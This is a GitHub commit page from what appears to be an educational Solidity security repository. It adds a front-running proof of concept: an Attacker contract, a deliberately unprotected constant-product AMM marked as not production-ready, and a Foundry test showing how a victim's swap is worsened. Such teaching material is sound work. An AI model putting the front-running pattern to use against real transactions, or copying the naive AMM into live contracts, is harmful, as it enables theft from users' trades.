Skip to content

Commit

Permalink
front-running POC added
Browse files Browse the repository at this point in the history
  • Loading branch information
bluntbrain committed Dec 25, 2024
1 parent 5d4d5de commit 60c0a79
Show file tree
Hide file tree
Showing 4 changed files with 244 additions and 1 deletion.
46 changes: 46 additions & 0 deletions src/front-running/Attacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface INaiveAMM {
function swapETHForToken(uint256 minTokensOut) external payable;
function swapTokenForETH(uint256 tokenAmountIn, uint256 minEthOut) external;
function tokenBalance(address user) external view returns (uint256);
}

/**
* @title Attacker
* @author Ishan Lakhwani
* @notice Simulates a front-running bot that detects a large swap and swaps first to get a better price.
*/
contract Attacker {
INaiveAMM public amm;

constructor(address _amm) {
amm = INaiveAMM(_amm);
}

/**
* @notice Front-run by swapping ETH for token before the victim does.
* @param minTokensOut Attacker's own slippage check (can set to 1 or 0 if you don't care).
*/
function frontRunBuyTokens(uint256 minTokensOut) external payable {
amm.swapETHForToken{value: msg.value}(minTokensOut);
}

/**
* @notice Optionally back-run by selling the tokens after the victim pushes up the price.
*/
function backRunSellTokens(uint256 tokenAmountIn, uint256 minEthOut) external {
amm.swapTokenForETH(tokenAmountIn, minEthOut);
}

/**
* @notice Check how many tokens the Attacker contract holds in the AMM's internal mapping.
*/
function getAttackerTokenBalance() external view returns (uint256) {
return amm.tokenBalance(address(this));
}

// Accept ETH
receive() external payable {}
}
80 changes: 80 additions & 0 deletions src/front-running/NaiveAMM.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/**
* @title NaiveAMM
* @author Ishan Lakhwani
* @notice A simplified constant-product AMM to demonstrate front-running.
* Not production-ready! For educational purposes only.
*/
contract NaiveAMM {
uint256 public reserveToken;
uint256 public reserveETH;

// We simulate a "token" via a mapping for balances (not a real ERC20).
mapping(address => uint256) public tokenBalance;

/**
* @dev Seed initial liquidity in the constructor if desired.
* @param _initialTokenLiquidity How many tokens to seed as the initial token reserve.
* The deployer also sends ETH in the constructor.
*/
constructor(uint256 _initialTokenLiquidity) payable {
require(msg.value > 0, "Must seed ETH liquidity");
require(_initialTokenLiquidity > 0, "Must seed token liquidity");
reserveETH = msg.value;
reserveToken = _initialTokenLiquidity;
}

/**
* @notice Add more liquidity (very naive approach).
*/
function addLiquidity(uint256 tokenAmount) external payable {
require(msg.value > 0 && tokenAmount > 0, "Invalid liquidity amounts");
reserveETH += msg.value;
reserveToken += tokenAmount;
}

/**
* @notice Swap ETH -> Token
* @param minTokensOut The minimum amount of tokens user expects (slippage protection).
*/
function swapETHForToken(uint256 minTokensOut) external payable {
require(msg.value > 0, "No ETH sent");

// tokensOut = (reserveToken * ETH_in) / (reserveETH + ETH_in)
uint256 tokensOut = (reserveToken * msg.value) / (reserveETH + msg.value);
require(tokensOut >= minTokensOut, "Slippage too high / insufficient output");

// Update reserves
reserveETH += msg.value;
reserveToken -= tokensOut; // tokens sent to user

// Increase user's token balance
tokenBalance[msg.sender] += tokensOut;
}

/**
* @notice Swap Token -> ETH
* @param tokenAmountIn The amount of tokens to swap.
* @param minEthOut Minimum ETH expected out (slippage protection).
*/
function swapTokenForETH(uint256 tokenAmountIn, uint256 minEthOut) external {
require(tokenBalance[msg.sender] >= tokenAmountIn, "Not enough tokens");

// ethOut = (reserveETH * tokenAmountIn) / (reserveToken + tokenAmountIn)
uint256 ethOut = (reserveETH * tokenAmountIn) / (reserveToken + tokenAmountIn);
require(ethOut >= minEthOut, "Slippage too high / insufficient output");

// Update reserves
reserveToken += tokenAmountIn;
reserveETH -= ethOut;

// Deduct tokens from user
tokenBalance[msg.sender] -= tokenAmountIn;

// Transfer ETH to user
(bool success,) = msg.sender.call{value: ethOut}("");
require(success, "ETH transfer failed");
}
}
113 changes: 113 additions & 0 deletions test/FrontrunningTest.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../src/front-running/NaiveAMM.sol";
import "../src/front-running/Attacker.sol";

/**
* @title FrontRunTest
* @author Ishan Lakhwani
* @notice Foundry test illustrating front-running on a naive constant-product AMM.
* This version prints ETH values in a more human-friendly way.
*/
contract FrontRunTest is Test {
NaiveAMM public amm;
Attacker public attacker;

// Test actors
address public owner = address(0xABCD);
address public victim = address(0xBEEF);
address public attackerEOA = address(0xDEAD);

function setUp() public {
/**
* 1. Deploy AMM with initial liquidity:
* - 10,000 tokens
* - 10 ETH (the deployer sends 10 ETH in the constructor)
*/
vm.deal(owner, 10 ether); // Give "owner" 10 ETH
vm.startPrank(owner);
amm = new NaiveAMM{value: 10 ether}(10_000 /* tokens */ );
vm.stopPrank();

/**
* 2. Deploy the Attacker contract from attackerEOA
*/
vm.deal(attackerEOA, 5 ether); // Attacker has 5 ETH
vm.startPrank(attackerEOA);
attacker = new Attacker(address(amm));
vm.stopPrank();

/**
* 3. Give the victim some ETH (e.g. 20 ETH) to do a large swap
*/
vm.deal(victim, 20 ether);

// 4. Label addresses for easier debugging
vm.label(owner, "Owner");
vm.label(victim, "Victim");
vm.label(attackerEOA, "AttackerEOA");
vm.label(address(amm), "NaiveAMM");
vm.label(address(attacker), "AttackerContract");
}

/**
* @notice Demonstrate a front-running scenario:
* - Victim swaps 5 ETH -> tokens
* - Attacker front-runs with 2 ETH first.
* - Victim gets fewer tokens than expected.
*/
function testFrontRunningAttack() public {
// --- Step 1: Log initial AMM reserves in an easy-to-read format ---
console.log("=== Initial AMM Reserves ===");
console.log("Token Reserve:", amm.reserveToken(), "tokens");
console.log("ETH Reserve: ", amm.reserveETH() / 1e18, "ETH"); // Convert wei to ETH

// Victim wants to swap 5 ETH
uint256 victimSwapETH = 5 ether;

// If no one else traded, victim would get this many tokens:
uint256 tokensOutIfNoFrontRun = (amm.reserveToken() * victimSwapETH) / (amm.reserveETH() + victimSwapETH);

console.log("\nVictim would get ~", tokensOutIfNoFrontRun, "tokens (no front-run).");

// We'll let the victim allow 30% slippage (just for demonstration),
// so the trade doesn't revert when front-run occurs.
// That means victimMinTokensOut = 70% of the no-front-run amount.
uint256 victimMinTokensOut = (tokensOutIfNoFrontRun * 70) / 100;

// --- Step 2: Attacker front-runs with 2 ETH ---
console.log("\n[Attacker front-runs with 2 ETH]");
vm.startPrank(attackerEOA);
attacker.frontRunBuyTokens{value: 2 ether}(1);
vm.stopPrank();

// Log new AMM reserves after attacker
console.log("AMM Reserves After Attacker:");
console.log("Token Reserve:", amm.reserveToken(), "tokens");
console.log("ETH Reserve: ", amm.reserveETH() / 1e18, "ETH");

// --- Step 3: Victim now swaps 5 ETH ---
console.log("\n[Victim swaps 5 ETH -> tokens]");
vm.startPrank(victim);
amm.swapETHForToken{value: victimSwapETH}(victimMinTokensOut);
vm.stopPrank();

// --- Step 4: Final AMM reserves & final balances ---
console.log("\n=== Final AMM Reserves ===");
console.log("Token Reserve:", amm.reserveToken(), "tokens");
console.log("ETH Reserve: ", amm.reserveETH() / 1e18, "ETH");

uint256 attackerTokens = amm.tokenBalance(address(attacker));
uint256 victimTokens = amm.tokenBalance(victim);

console.log("\nAttacker's Final Token Balance:", attackerTokens, "tokens");
console.log("Victim's Final Token Balance: ", victimTokens, "tokens");

// --- Step 5: Check victim got fewer tokens than if no front-run occurred ---
require(victimTokens < tokensOutIfNoFrontRun, "Victim unexpectedly got >= tokensOutIfNoFrontRun!");
}
}
6 changes: 5 additions & 1 deletion test/ReentrancyTest.t.sol
Original file line number Diff line number Diff line change
@@ -1,11 +1,15 @@
// test/ReentrancyTest.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "../src/reentrancy/EtherStore.sol";
import "../src/reentrancy/Attack.sol";

/**
* @title ReentrancyTest
* @author Ishan Lakhwani
* @notice Foundry test illustrating reentrancy vulnerability in EtherStore.
*/
contract ReentrancyTest is Test {
EtherStore public etherStore;
Attack public attack;
Expand Down

0 comments on commit 60c0a79

Please sign in to comment.